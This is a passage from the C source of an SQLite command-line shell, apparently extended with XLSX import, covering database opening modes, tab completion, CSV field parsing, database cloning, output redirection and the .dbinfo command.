if( zCR==0 && zText[i]=='\r' ){
zCR = unused_string(zText, "\\r", "\\015", zBuf2);
nCR = (int)strlen(zCR);
}
}
if( zNL || zCR ){
int iOut = 0;
i64 nMax = (nNL > nCR) ? nNL : nCR;
i64 nAlloc = nMax * nText + (nMax+64)*2;
char *zOut = (char*)sqlite3_malloc64(nAlloc);
if( zOut==0 ){
sqlite3_result_error_nomem(context);
return;
}
if( zNL && zCR ){
memcpy(&zOut[iOut], "replace(replace(", 16);
iOut += 16;
}else{
memcpy(&zOut[iOut], "replace(", 8);
iOut += 8;
}
for(i=0; zText[i]; i++){
if( zText[i]=='\n' ){
memcpy(&zOut[iOut], zNL, nNL);
iOut += nNL;
}else if( zText[i]=='\r' ){
memcpy(&zOut[iOut], zCR, nCR);
iOut += nCR;
}else{
zOut[iOut] = zText[i];
iOut++;
}
}
if( zNL ){
memcpy(&zOut[iOut], ",'", 2); iOut += 2;
memcpy(&zOut[iOut], zNL, nNL); iOut += nNL;
memcpy(&zOut[iOut], "', char(10))", 12); iOut += 12;
}
if( zCR ){
memcpy(&zOut[iOut], ",'", 2); iOut += 2;
memcpy(&zOut[iOut], zCR, nCR); iOut += nCR;
memcpy(&zOut[iOut], "', char(13))", 12); iOut += 12;
}
sqlite3_result_text(context, zOut, iOut, SQLITE_TRANSIENT);
sqlite3_free(zOut);
return;
}
}
sqlite3_result_value(context, argv[0]);
}
/* Flags for open_db().
**
** The default behavior of open_db() is to exit(1) if the database fails to
** open. The OPEN_DB_KEEPALIVE flag changes that so that it prints an error
** but still returns without calling exit.
**
** The OPEN_DB_ZIPFILE flag causes open_db() to prefer to open files as a
** ZIP archive if the file does not exist or is empty and its name matches
** the *.zip pattern.
*/
#define OPEN_DB_KEEPALIVE 0x001 /* Return after error if true */
#define OPEN_DB_ZIPFILE 0x002 /* Open as ZIP if name matches *.zip */
/*
** Make sure the database is open. If it is not, then open it. If
** the database fails to open, print an error message and exit.
*/
static void open_db(ShellState *p, int openFlags){
if( p->db==0 ){
if( p->openMode==SHELL_OPEN_UNSPEC ){
if( p->zDbFilename==0 || p->zDbFilename[0]==0 ){
p->openMode = SHELL_OPEN_NORMAL;
}else{
p->openMode = (u8)deduceDatabaseType(p->zDbFilename,
(openFlags & OPEN_DB_ZIPFILE)!=0);
}
}
switch( p->openMode ){
case SHELL_OPEN_APPENDVFS: {
sqlite3_open_v2(p->zDbFilename, &p->db,
SQLITE_OPEN_READWRITE|SQLITE_OPEN_CREATE|p->openFlags, "apndvfs");
break;
}
case SHELL_OPEN_HEXDB:
case SHELL_OPEN_DESERIALIZE: {
sqlite3_open(0, &p->db);
break;
}
case SHELL_OPEN_ZIPFILE: {
sqlite3_open(":memory:", &p->db);
break;
}
case SHELL_OPEN_READONLY: {
sqlite3_open_v2(p->zDbFilename, &p->db,
SQLITE_OPEN_READONLY|p->openFlags, 0);
break;
}
case SHELL_OPEN_UNSPEC:
case SHELL_OPEN_NORMAL: {
sqlite3_open_v2(p->zDbFilename, &p->db,
SQLITE_OPEN_READWRITE|SQLITE_OPEN_CREATE|p->openFlags, 0);
break;
}
}
globalDb = p->db;
if( p->db==0 || SQLITE_OK!=sqlite3_errcode(p->db) ){
utf8_printf(stderr,"Error: unable to open database \"%s\": %s\n",
p->zDbFilename, sqlite3_errmsg(p->db));
if( openFlags & OPEN_DB_KEEPALIVE ){
sqlite3_open(":memory:", &p->db);
return;
}
exit(1);
}
#ifndef SQLITE_OMIT_LOAD_EXTENSION
sqlite3_enable_load_extension(p->db, 1);
#endif
sqlite3_fileio_init(p->db, 0, 0);
sqlite3_shathree_init(p->db, 0, 0);
sqlite3_completion_init(p->db, 0, 0);
sqlite3_uint_init(p->db, 0, 0);
sqlite3_decimal_init(p->db, 0, 0);
sqlite3_regexp_init(p->db, 0, 0);
sqlite3_ieee_init(p->db, 0, 0);
sqlite3_series_init(p->db, 0, 0);
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_ENABLE_DBPAGE_VTAB)
sqlite3_dbdata_init(p->db, 0, 0);
#endif
#ifdef SQLITE_HAVE_ZLIB
sqlite3_zipfile_init(p->db, 0, 0);
sqlite3_sqlar_init(p->db, 0, 0);
#endif
sqlite3_create_function(p->db, "shell_add_schema", 3, SQLITE_UTF8, 0,
shellAddSchemaName, 0, 0);
sqlite3_create_function(p->db, "shell_module_schema", 1, SQLITE_UTF8, 0,
shellModuleSchema, 0, 0);
sqlite3_create_function(p->db, "shell_putsnl", 1, SQLITE_UTF8, p,
shellPutsFunc, 0, 0);
sqlite3_create_function(p->db, "shell_escape_crnl", 1, SQLITE_UTF8, 0,
shellEscapeCrnl, 0, 0);
sqlite3_create_function(p->db, "shell_int32", 2, SQLITE_UTF8, 0,
shellInt32, 0, 0);
sqlite3_create_function(p->db, "shell_idquote", 1, SQLITE_UTF8, 0,
shellIdQuote, 0, 0);
sqlite3_create_function(p->db, "usleep",1,SQLITE_UTF8,0,
shellUSleepFunc, 0, 0);
#ifndef SQLITE_NOHAVE_SYSTEM
sqlite3_create_function(p->db, "edit", 1, SQLITE_UTF8, 0,
editFunc, 0, 0);
sqlite3_create_function(p->db, "edit", 2, SQLITE_UTF8, 0,
editFunc, 0, 0);
#endif
if( p->openMode==SHELL_OPEN_ZIPFILE ){
char *zSql = sqlite3_mprintf(
"CREATE VIRTUAL TABLE zip USING zipfile(%Q);", p->zDbFilename);
sqlite3_exec(p->db, zSql, 0, 0, 0);
sqlite3_free(zSql);
}
#ifndef SQLITE_OMIT_DESERIALIZE
else
if( p->openMode==SHELL_OPEN_DESERIALIZE || p->openMode==SHELL_OPEN_HEXDB ){
int rc;
int nData = 0;
unsigned char *aData;
if( p->openMode==SHELL_OPEN_DESERIALIZE ){
aData = (unsigned char*)readFile(p->zDbFilename, &nData);
}else{
aData = readHexDb(p, &nData);
if( aData==0 ){
return;
}
}
rc = sqlite3_deserialize(p->db, "main", aData, nData, nData,
SQLITE_DESERIALIZE_RESIZEABLE |
SQLITE_DESERIALIZE_FREEONCLOSE);
if( rc ){
utf8_printf(stderr, "Error: sqlite3_deserialize() returns %d\n", rc);
}
if( p->szMax>0 ){
sqlite3_file_control(p->db, "main", SQLITE_FCNTL_SIZE_LIMIT, &p->szMax);
}
}
#endif
}
}
/*
** Attempt to close the databaes connection. Report errors.
*/
void close_db(sqlite3 *db){
int rc = sqlite3_close(db);
if( rc ){
utf8_printf(stderr, "Error: sqlite3_close() returns %d: %s\n",
rc, sqlite3_errmsg(db));
}
}
#if HAVE_READLINE || HAVE_EDITLINE
/*
** Readline completion callbacks
*/
static char *readline_completion_generator(const char *text, int state){
static sqlite3_stmt *pStmt = 0;
char *zRet;
if( state==0 ){
char *zSql;
sqlite3_finalize(pStmt);
zSql = sqlite3_mprintf("SELECT DISTINCT candidate COLLATE nocase"
" FROM completion(%Q) ORDER BY 1", text);
sqlite3_prepare_v2(globalDb, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
}
if( sqlite3_step(pStmt)==SQLITE_ROW ){
zRet = strdup((const char*)sqlite3_column_text(pStmt, 0));
}else{
sqlite3_finalize(pStmt);
pStmt = 0;
zRet = 0;
}
return zRet;
}
static char **readline_completion(const char *zText, int iStart, int iEnd){
rl_attempted_completion_over = 1;
return rl_completion_matches(zText, readline_completion_generator);
}
#elif HAVE_LINENOISE
/*
** Linenoise completion callback
*/
static void linenoise_completion(const char *zLine, linenoiseCompletions *lc){
int nLine = strlen30(zLine);
int i, iStart;
sqlite3_stmt *pStmt = 0;
char *zSql;
char zBuf[1000];
if( nLine>sizeof(zBuf)-30 ) return;
if( zLine[0]=='.' || zLine[0]=='#') return;
for(i=nLine-1; i>=0 && (isalnum(zLine[i]) || zLine[i]=='_'); i--){}
if( i==nLine-1 ) return;
iStart = i+1;
memcpy(zBuf, zLine, iStart);
zSql = sqlite3_mprintf("SELECT DISTINCT candidate COLLATE nocase"
" FROM completion(%Q,%Q) ORDER BY 1",
&zLine[iStart], zLine);
sqlite3_prepare_v2(globalDb, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
sqlite3_exec(globalDb, "PRAGMA page_count", 0, 0, 0); /* Load the schema */
while( sqlite3_step(pStmt)==SQLITE_ROW ){
const char *zCompletion = (const char*)sqlite3_column_text(pStmt, 0);
int nCompletion = sqlite3_column_bytes(pStmt, 0);
if( iStart+nCompletion < sizeof(zBuf)-1 ){
memcpy(zBuf+iStart, zCompletion, nCompletion+1);
linenoiseAddCompletion(lc, zBuf);
}
}
sqlite3_finalize(pStmt);
}
#endif
/*
** Do C-language style dequoting.
**
** \a -> alarm
** \b -> backspace
** \t -> tab
** \n -> newline
** \v -> vertical tab
** \f -> form feed
** \r -> carriage return
** \s -> space
** \" -> "
** \' -> '
** \\ -> backslash
** \NNN -> ascii character NNN in octal
*/
static void resolve_backslashes(char *z){
int i, j;
char c;
while( *z && *z!='\\' ) z++;
for(i=j=0; (c = z[i])!=0; i++, j++){
if( c=='\\' && z[i+1]!=0 ){
c = z[++i];
if( c=='a' ){
c = '\a';
}else if( c=='b' ){
c = '\b';
}else if( c=='t' ){
c = '\t';
}else if( c=='n' ){
c = '\n';
}else if( c=='v' ){
c = '\v';
}else if( c=='f' ){
c = '\f';
}else if( c=='r' ){
c = '\r';
}else if( c=='"' ){
c = '"';
}else if( c=='\'' ){
c = '\'';
}else if( c=='\\' ){
c = '\\';
}else if( c>='0' && c<='7' ){
c -= '0';
if( z[i+1]>='0' && z[i+1]<='7' ){
i++;
c = (c<<3) + z[i] - '0';
if( z[i+1]>='0' && z[i+1]<='7' ){
i++;
c = (c<<3) + z[i] - '0';
}
}
}
}
z[j] = c;
}
if( j<i ) z[j] = 0;
}
/*
** Interpret zArg as either an integer or a boolean value. Return 1 or 0
** for TRUE and FALSE. Return the integer value if appropriate.
*/
static int booleanValue(const char *zArg){
int i;
if( zArg[0]=='0' && zArg[1]=='x' ){
for(i=2; hexDigitValue(zArg[i])>=0; i++){}
}else{
for(i=0; zArg[i]>='0' && zArg[i]<='9'; i++){}
}
if( i>0 && zArg[i]==0 ) return (int)(integerValue(zArg) & 0xffffffff);
if( sqlite3_stricmp(zArg, "on")==0 || sqlite3_stricmp(zArg,"yes")==0 ){
return 1;
}
if( sqlite3_stricmp(zArg, "off")==0 || sqlite3_stricmp(zArg,"no")==0 ){
return 0;
}
utf8_printf(stderr, "ERROR: Not a boolean value: \"%s\". Assuming \"no\".\n",
zArg);
return 0;
}
/*
** Set or clear a shell flag according to a boolean value.
*/
static void setOrClearFlag(ShellState *p, unsigned mFlag, const char *zArg){
if( booleanValue(zArg) ){
ShellSetFlag(p, mFlag);
}else{
ShellClearFlag(p, mFlag);
}
}
/*
** Close an output file, assuming it is not stderr or stdout
*/
static void output_file_close(FILE *f){
if( f && f!=stdout && f!=stderr ) fclose(f);
}
/*
** Try to open an output file. The names "stdout" and "stderr" are
** recognized and do the right thing. NULL is returned if the output
** filename is "off".
*/
static FILE *output_file_open(const char *zFile, int bTextMode){
FILE *f;
if( strcmp(zFile,"stdout")==0 ){
f = stdout;
}else if( strcmp(zFile, "stderr")==0 ){
f = stderr;
}else if( strcmp(zFile, "off")==0 ){
f = 0;
}else{
f = fopen(zFile, bTextMode ? "w" : "wb");
if( f==0 ){
utf8_printf(stderr, "Error: cannot open \"%s\"\n", zFile);
}
}
return f;
}
#ifndef SQLITE_OMIT_TRACE
/*
** A routine for handling output from sqlite3_trace().
*/
static int sql_trace_callback(
unsigned mType, /* The trace type */
void *pArg, /* The ShellState pointer */
void *pP, /* Usually a pointer to sqlite_stmt */
void *pX /* Auxiliary output */
){
ShellState *p = (ShellState*)pArg;
sqlite3_stmt *pStmt;
const char *zSql;
int nSql;
if( p->traceOut==0 ) return 0;
if( mType==SQLITE_TRACE_CLOSE ){
utf8_printf(p->traceOut, "-- closing database connection\n");
return 0;
}
if( mType!=SQLITE_TRACE_ROW && ((const char*)pX)[0]=='-' ){
zSql = (const char*)pX;
}else{
pStmt = (sqlite3_stmt*)pP;
switch( p->eTraceType ){
case SHELL_TRACE_EXPANDED: {
zSql = sqlite3_expanded_sql(pStmt);
break;
}
#ifdef SQLITE_ENABLE_NORMALIZE
case SHELL_TRACE_NORMALIZED: {
zSql = sqlite3_normalized_sql(pStmt);
break;
}
#endif
default: {
zSql = sqlite3_sql(pStmt);
break;
}
}
}
if( zSql==0 ) return 0;
nSql = strlen30(zSql);
while( nSql>0 && zSql[nSql-1]==';' ){ nSql--; }
switch( mType ){
case SQLITE_TRACE_ROW:
case SQLITE_TRACE_STMT: {
utf8_printf(p->traceOut, "%.*s;\n", nSql, zSql);
break;
}
case SQLITE_TRACE_PROFILE: {
sqlite3_int64 nNanosec = *(sqlite3_int64*)pX;
utf8_printf(p->traceOut, "%.*s; -- %lld ns\n", nSql, zSql, nNanosec);
break;
}
}
return 0;
}
#endif
/*
** A no-op routine that runs with the ".breakpoint" doc-command. This is
** a useful spot to set a debugger breakpoint.
*/
static void test_breakpoint(void){
static int nCall = 0;
nCall++;
}
/*
** An object used to read a CSV and other files for import.
*/
typedef struct ImportCtx ImportCtx;
struct ImportCtx {
const char *zFile; /* Name of the input file */
FILE *in; /* Read the CSV text from this input stream */
int (SQLITE_CDECL *xCloser)(FILE*); /* Func to close in */
char *z; /* Accumulated text for a field */
int n; /* Number of bytes in z */
int nAlloc; /* Space allocated for z[] */
int nLine; /* Current line number */
int nRow; /* Number of rows imported */
int nErr; /* Number of errors encountered */
int bNotFirst; /* True if one or more bytes already read */
int cTerm; /* Character that terminated the most recent field */
int cColSep; /* The column separator character. (Usually ",") */
int cRowSep; /* The row separator character. (Usually "\n") */
};
/* Clean up resourced used by an ImportCtx */
static void import_cleanup(ImportCtx *p){
if( p->in!=0 && p->xCloser!=0 ){
p->xCloser(p->in);
p->in = 0;
}
sqlite3_free(p->z);
p->z = 0;
}
// https://support.office.com/en-us/article/Excel-specifications-and-limits-1672b34d-7043-467e-8e27-269d656771c3&usg=AFQjCNHniIQ4KTIFQZ6efVfpDtETwU9Cmw
// Total number of characters that an Excel cell can contain: 32,767
// Worst case is probably 32767 double quotes, that would be XML encoded as character entity "
#define EXCELCELLSIZE (32767*6+4)
/*
** An object used to parse XML content of XLSX files for import.
*/
typedef struct ImportXLSXCtx ImportXLSXCtx;
struct ImportXLSXCtx {
// Variables used by the XML SAX parser
int xml_depth; /* Current dept while parsing the XML tree */
char **shr_str; /* Array of strings shared in spreadsheet */
int *shr_str_sz; /* Array of lengths of the strings shared in spreadsheet */
int shr_str_num, shr_str_cnt;
int sheet_num_rows, sheet_num_cols;
int current_row, current_col, expected_col;
int lookup_v; /* Flag if needs look up into shared strings */
/* The SQLite CSV importer invokes xRead() from do_meta_command() to get a field.
* The XLSX importer uses SAX callbacks, so most context in do_meta_command()
* is moved here to be available to callbacks
*/
sqlite3 *db; /* An open database */
char *zTable; /* Insert data into this table */
char *zFile; /* Name of file to extra content from */
char *zSheet; /* Number of the Excel sheet */
char sheetname[64]; /* sheet path within XLSX */
sqlite3_stmt *pInsertStmt; /* The compiled INSERT statement */
char **row_str; /* Array of strings in a row */
int *row_str_sz; /* Array of lengths of the strings in a row */
/* The SQLite CSV importer uses variables z, n, nAlloc, and import_append_char() to
accumulated text for a field character by character into a dynamically growing buffer.
The XLSX importer uses shr_tv_val, shr_buff, and ChrHndlr() for that.
*/
char *shr_tv_val;
int shr_tv;
char shr_buff[EXCELCELLSIZE];
};
/* Append a single byte to z[] */
static void import_append_char(ImportCtx *p, int c){
if( p->n+1>=p->nAlloc ){
p->nAlloc += p->nAlloc + 100;
p->z = sqlite3_realloc64(p->z, p->nAlloc);
if( p->z==0 ) shell_out_of_memory();
}
p->z[p->n++] = (char)c;
}
/* Read a single field of CSV text. Compatible with rfc4180 and extended
** with the option of having a separator other than ",".
**
** + Input comes from p->in.
** + Store results in p->z of length p->n. Space to hold p->z comes
** from sqlite3_malloc64().
** + Use p->cSep as the column separator. The default is ",".
** + Use p->rSep as the row separator. The default is "\n".
** + Keep track of the line number in p->nLine.
** + Store the character that terminates the field in p->cTerm. Store
** EOF on end-of-file.
** + Report syntax errors on stderr
*/
static char *SQLITE_CDECL csv_read_one_field(ImportCtx *p){
int c;
int cSep = p->cColSep;
int rSep = p->cRowSep;
p->n = 0;
c = fgetc(p->in);
if( c==EOF || seenInterrupt ){
p->cTerm = EOF;
return 0;
}
if( c=='"' ){
int pc, ppc;
int startLine = p->nLine;
int cQuote = c;
pc = ppc = 0;
while( 1 ){
c = fgetc(p->in);
if( c==rSep ) p->nLine++;
if( c==cQuote ){
if( pc==cQuote ){
pc = 0;
continue;
}
}
if( (c==cSep && pc==cQuote)
|| (c==rSep && pc==cQuote)
|| (c==rSep && pc=='\r' && ppc==cQuote)
|| (c==EOF && pc==cQuote)
){
do{ p->n--; }while( p->z[p->n]!=cQuote );
p->cTerm = c;
break;
}
if( pc==cQuote && c!='\r' ){
utf8_printf(stderr, "%s:%d: unescaped %c character\n",
p->zFile, p->nLine, cQuote);
}
if( c==EOF ){
utf8_printf(stderr, "%s:%d: unterminated %c-quoted field\n",
p->zFile, startLine, cQuote);
p->cTerm = c;
break;
}
import_append_char(p, c);
ppc = pc;
pc = c;
}
}else{
/* If this is the first field being parsed and it begins with the
** UTF-8 BOM (0xEF BB BF) then skip the BOM */
if( (c&0xff)==0xef && p->bNotFirst==0 ){
import_append_char(p, c);
c = fgetc(p->in);
if( (c&0xff)==0xbb ){
import_append_char(p, c);
c = fgetc(p->in);
if( (c&0xff)==0xbf ){
p->bNotFirst = 1;
p->n = 0;
return csv_read_one_field(p);
}
}
}
while( c!=EOF && c!=cSep && c!=rSep ){
import_append_char(p, c);
c = fgetc(p->in);
}
if( c==rSep ){
p->nLine++;
if( p->n>0 && p->z[p->n-1]=='\r' ) p->n--;
}
p->cTerm = c;
}
if( p->z ) p->z[p->n] = 0;
p->bNotFirst = 1;
return p->z;
}
/* Read a single field of ASCII delimited text.
**
** + Input comes from p->in.
** + Store results in p->z of length p->n. Space to hold p->z comes
** from sqlite3_malloc64().
** + Use p->cSep as the column separator. The default is "\x1F".
** + Use p->rSep as the row separator. The default is "\x1E".
** + Keep track of the row number in p->nLine.
** + Store the character that terminates the field in p->cTerm. Store
** EOF on end-of-file.
** + Report syntax errors on stderr
*/
static char *SQLITE_CDECL ascii_read_one_field(ImportCtx *p){
int c;
int cSep = p->cColSep;
int rSep = p->cRowSep;
p->n = 0;
c = fgetc(p->in);
if( c==EOF || seenInterrupt ){
p->cTerm = EOF;
return 0;
}
while( c!=EOF && c!=cSep && c!=rSep ){
import_append_char(p, c);
c = fgetc(p->in);
}
if( c==rSep ){
p->nLine++;
}
p->cTerm = c;
if( p->z ) p->z[p->n] = 0;
return p->z;
}
/*
** Try to transfer data for table zTable. If an error is seen while
** moving forward, try to go backwards. The backwards movement won't
** work for WITHOUT ROWID tables.
*/
static void tryToCloneData(
ShellState *p,
sqlite3 *newDb,
const char *zTable
){
sqlite3_stmt *pQuery = 0;
sqlite3_stmt *pInsert = 0;
char *zQuery = 0;
char *zInsert = 0;
int rc;
int i, j, n;
int nTable = strlen30(zTable);
int k = 0;
int cnt = 0;
const int spinRate = 10000;
zQuery = sqlite3_mprintf("SELECT * FROM \"%w\"", zTable);
rc = sqlite3_prepare_v2(p->db, zQuery, -1, &pQuery, 0);
if( rc ){
utf8_printf(stderr, "Error %d: %s on [%s]\n",
sqlite3_extended_errcode(p->db), sqlite3_errmsg(p->db),
zQuery);
goto end_data_xfer;
}
n = sqlite3_column_count(pQuery);
zInsert = sqlite3_malloc64(200 + nTable + n*3);
if( zInsert==0 ) shell_out_of_memory();
sqlite3_snprintf(200+nTable,zInsert,
"INSERT OR IGNORE INTO \"%s\" VALUES(?", zTable);
i = strlen30(zInsert);
for(j=1; j<n; j++){
memcpy(zInsert+i, ",?", 2);
i += 2;
}
memcpy(zInsert+i, ");", 3);
rc = sqlite3_prepare_v2(newDb, zInsert, -1, &pInsert, 0);
if( rc ){
utf8_printf(stderr, "Error %d: %s on [%s]\n",
sqlite3_extended_errcode(newDb), sqlite3_errmsg(newDb),
zQuery);
goto end_data_xfer;
}
for(k=0; k<2; k++){
while( (rc = sqlite3_step(pQuery))==SQLITE_ROW ){
for(i=0; i<n; i++){
switch( sqlite3_column_type(pQuery, i) ){
case SQLITE_NULL: {
sqlite3_bind_null(pInsert, i+1);
break;
}
case SQLITE_INTEGER: {
sqlite3_bind_int64(pInsert, i+1, sqlite3_column_int64(pQuery,i));
break;
}
case SQLITE_FLOAT: {
sqlite3_bind_double(pInsert, i+1, sqlite3_column_double(pQuery,i));
break;
}
case SQLITE_TEXT: {
sqlite3_bind_text(pInsert, i+1,
(const char*)sqlite3_column_text(pQuery,i),
-1, SQLITE_STATIC);
break;
}
case SQLITE_BLOB: {
sqlite3_bind_blob(pInsert, i+1, sqlite3_column_blob(pQuery,i),
sqlite3_column_bytes(pQuery,i),
SQLITE_STATIC);
break;
}
}
} /* End for */
rc = sqlite3_step(pInsert);
if( rc!=SQLITE_OK && rc!=SQLITE_ROW && rc!=SQLITE_DONE ){
utf8_printf(stderr, "Error %d: %s\n", sqlite3_extended_errcode(newDb),
sqlite3_errmsg(newDb));
}
sqlite3_reset(pInsert);
cnt++;
if( (cnt%spinRate)==0 ){
printf("%c\b", "|/-\\"[(cnt/spinRate)%4]);
fflush(stdout);
}
} /* End while */
if( rc==SQLITE_DONE ) break;
sqlite3_finalize(pQuery);
sqlite3_free(zQuery);
zQuery = sqlite3_mprintf("SELECT * FROM \"%w\" ORDER BY rowid DESC;",
zTable);
rc = sqlite3_prepare_v2(p->db, zQuery, -1, &pQuery, 0);
if( rc ){
utf8_printf(stderr, "Warning: cannot step \"%s\" backwards", zTable);
break;
}
} /* End for(k=0...) */
end_data_xfer:
sqlite3_finalize(pQuery);
sqlite3_finalize(pInsert);
sqlite3_free(zQuery);
sqlite3_free(zInsert);
}
/*
** Try to transfer all rows of the schema that match zWhere. For
** each row, invoke xForEach() on the object defined by that row.
** If an error is encountered while moving forward through the
** sqlite_schema table, try again moving backwards.
*/
static void tryToCloneSchema(
ShellState *p,
sqlite3 *newDb,
const char *zWhere,
void (*xForEach)(ShellState*,sqlite3*,const char*)
){
sqlite3_stmt *pQuery = 0;
char *zQuery = 0;
int rc;
const unsigned char *zName;
const unsigned char *zSql;
char *zErrMsg = 0;
zQuery = sqlite3_mprintf("SELECT name, sql FROM sqlite_schema"
" WHERE %s", zWhere);
rc = sqlite3_prepare_v2(p->db, zQuery, -1, &pQuery, 0);
if( rc ){
utf8_printf(stderr, "Error: (%d) %s on [%s]\n",
sqlite3_extended_errcode(p->db), sqlite3_errmsg(p->db),
zQuery);
goto end_schema_xfer;
}
while( (rc = sqlite3_step(pQuery))==SQLITE_ROW ){
zName = sqlite3_column_text(pQuery, 0);
zSql = sqlite3_column_text(pQuery, 1);
printf("%s... ", zName); fflush(stdout);
sqlite3_exec(newDb, (const char*)zSql, 0, 0, &zErrMsg);
if( zErrMsg ){
utf8_printf(stderr, "Error: %s\nSQL: [%s]\n", zErrMsg, zSql);
sqlite3_free(zErrMsg);
zErrMsg = 0;
}
if( xForEach ){
xForEach(p, newDb, (const char*)zName);
}
printf("done\n");
}
if( rc!=SQLITE_DONE ){
sqlite3_finalize(pQuery);
sqlite3_free(zQuery);
zQuery = sqlite3_mprintf("SELECT name, sql FROM sqlite_schema"
" WHERE %s ORDER BY rowid DESC", zWhere);
rc = sqlite3_prepare_v2(p->db, zQuery, -1, &pQuery, 0);
if( rc ){
utf8_printf(stderr, "Error: (%d) %s on [%s]\n",
sqlite3_extended_errcode(p->db), sqlite3_errmsg(p->db),
zQuery);
goto end_schema_xfer;
}
while( (rc = sqlite3_step(pQuery))==SQLITE_ROW ){
zName = sqlite3_column_text(pQuery, 0);
zSql = sqlite3_column_text(pQuery, 1);
printf("%s... ", zName); fflush(stdout);
sqlite3_exec(newDb, (const char*)zSql, 0, 0, &zErrMsg);
if( zErrMsg ){
utf8_printf(stderr, "Error: %s\nSQL: [%s]\n", zErrMsg, zSql);
sqlite3_free(zErrMsg);
zErrMsg = 0;
}
if( xForEach ){
xForEach(p, newDb, (const char*)zName);
}
printf("done\n");
}
}
end_schema_xfer:
sqlite3_finalize(pQuery);
sqlite3_free(zQuery);
}
/*
** Open a new database file named "zNewDb". Try to recover as much information
** as possible out of the main database (which might be corrupt) and write it
** into zNewDb.
*/
static void tryToClone(ShellState *p, const char *zNewDb){
int rc;
sqlite3 *newDb = 0;
if( access(zNewDb,0)==0 ){
utf8_printf(stderr, "File \"%s\" already exists.\n", zNewDb);
return;
}
rc = sqlite3_open(zNewDb, &newDb);
if( rc ){
utf8_printf(stderr, "Cannot create output database: %s\n",
sqlite3_errmsg(newDb));
}else{
sqlite3_exec(p->db, "PRAGMA writable_schema=ON;", 0, 0, 0);
sqlite3_exec(newDb, "BEGIN EXCLUSIVE;", 0, 0, 0);
tryToCloneSchema(p, newDb, "type='table'", tryToCloneData);
tryToCloneSchema(p, newDb, "type!='table'", 0);
sqlite3_exec(newDb, "COMMIT;", 0, 0, 0);
sqlite3_exec(p->db, "PRAGMA writable_schema=OFF;", 0, 0, 0);
}
close_db(newDb);
}
/*
** Change the output file back to stdout.
**
** If the p->doXdgOpen flag is set, that means the output was being
** redirected to a temporary file named by p->zTempFile. In that case,
** launch start/open/xdg-open on that temporary file.
*/
static void output_reset(ShellState *p){
if( p->outfile[0]=='|' ){
#ifndef SQLITE_OMIT_POPEN
pclose(p->out);
#endif
}else{
output_file_close(p->out);
#ifndef SQLITE_NOHAVE_SYSTEM
if( p->doXdgOpen ){
const char *zXdgOpenCmd =
#if defined(_WIN32)
"start";
#elif defined(__APPLE__)
"open";
#else
"xdg-open";
#endif
char *zCmd;
zCmd = sqlite3_mprintf("%s %s", zXdgOpenCmd, p->zTempFile);
if( system(zCmd) ){
utf8_printf(stderr, "Failed: [%s]\n", zCmd);
}else{
/* Give the start/open/xdg-open command some time to get
** going before we continue, and potential delete the
** p->zTempFile data file out from under it */
sqlite3_sleep(2000);
}
sqlite3_free(zCmd);
outputModePop(p);
p->doXdgOpen = 0;
}
#endif /* !defined(SQLITE_NOHAVE_SYSTEM) */
}
p->outfile[0] = 0;
p->out = stdout;
}
/*
** Run an SQL command and return the single integer result.
*/
static int db_int(ShellState *p, const char *zSql){
sqlite3_stmt *pStmt;
int res = 0;
sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
if( pStmt && sqlite3_step(pStmt)==SQLITE_ROW ){
res = sqlite3_column_int(pStmt,0);
}
sqlite3_finalize(pStmt);
return res;
}
/*
** Convert a 2-byte or 4-byte big-endian integer into a native integer
*/
static unsigned int get2byteInt(unsigned char *a){
return (a[0]<<8) + a[1];
}
static unsigned int get4byteInt(unsigned char *a){
return (a[0]<<24) + (a[1]<<16) + (a[2]<<8) + a[3];
}
/*
** Implementation of the ".dbinfo" command.
**
** Return 1 on error, 2 to exit, and 0 otherwise.
*/
static int shell_dbinfo_command(ShellState *p, int nArg, char **azArg){
static const struct { const char *zName; int ofst; } aField[] = {
{ "file change counter:", 24 },
{ "database page count:", 28 },
{ "freelist page count:", 36 },
{ "schema cookie:", 40 },
{ "schema format:", 44 },
{ "default cache size:", 48 },
{ "autovacuum top root:", 52 },
{ "incremental vacuum:", 64 },
{ "text encoding:", 56 },
{ "user version:", 60 },
{ "application id:", 68 },
{ "software version:", 96 },
};
static const struct { const char *zName; const char *zSql; } aQuery[] = {
{ "number of tables:",
"SELECT count(*) FROM %s WHERE type='table'" },
{ "number of indexes:",
"SELECT count(*) FROM %s WHERE type='index'" },
{ "number of triggers:",
"SELECT count(*) FROM %s WHERE type='trigger'" },
{ "number of views:",
"SELECT count(*) FROM %s WHERE type='view'" },
{ "schema size:",
"SELECT total(length(sql)) FROM %s" },
};
int i, rc;
unsigned iDataVersion;
char *zSchemaTab;
char *zDb = nArg>=2 ? azArg[1] : "main";
sqlite3_stmt *pStmt = 0;
unsigned char aHdr[100];
open_db(p, 0);
if( p->db==0 ) return 1;
rc = sqlite3_prepare_v2(p->db,
"SELECT data FROM sqlite_dbpage(?1) WHERE pgno=1",
-1, &pStmt, 0);
if( rc ){
utf8_printf(stderr, "error: %s\n", sqlite3_errmsg(p->db));
sqlite3_finalize(pStmt);
return 1;
}
sqlite3_bind_text(pStmt, 1, zDb, -1, SQLITE_STATIC);
if( sqlite3_step(pStmt)==SQLITE_ROW
&& sqlite3_column_bytes(pStmt,0)>100
){
memcpy(aHdr, sqlite3_column_blob(pStmt,0), 100);
sqlite3_finalize(pStmt);
}else{
raw_printf(stderr, "unable to read database header\n");
sqlite3_finalize(pStmt);
return 1;
}
i = get2byteInt(aHdr+16);
if( i==1 ) i = 65536;
utf8_printf(p->out, "%-20s %d\n", "database page size:", i);
utf8_printf(p->out, "%-20s %d\n", "write format:", aHdr[18]);
utf8_printf(p->out, "%-20s %d\n", "read format:", aHdr[19]);
utf8_printf(p->out, "%-20s %d\n", "reserved bytes:", aHdr[20]);
for(i=0; i<ArraySize(aField); i++){
int ofst = aField[i].ofst;
unsigned int val = get4byteInt(aHdr + ofst);
utf8_printf(p->out, "%-20s %u", aField[i].zName, val);
switch( ofst ){
case 56: {
if( val==1 ) raw_printf(p->out, " (utf8)");
if( val==2 ) raw_printf(p->out, " (utf16le)");
if( val==3 ) raw_printf(p->out, " (utf16be)");
}
}
raw_printf(p->out, "\n");
}
if( zDb==0 ){
zSchemaTab = sqlite3_mprintf("main.sqlite_schema");
}else if( strcmp(zDb,"temp")==0 ){
zSchemaTab = sqlite3_mprintf("%s", "sqlite_temp_schema");
}else{
zSchemaTab = sqlite3_mprintf("\"%w\".sqlite_schema", zDb);
}
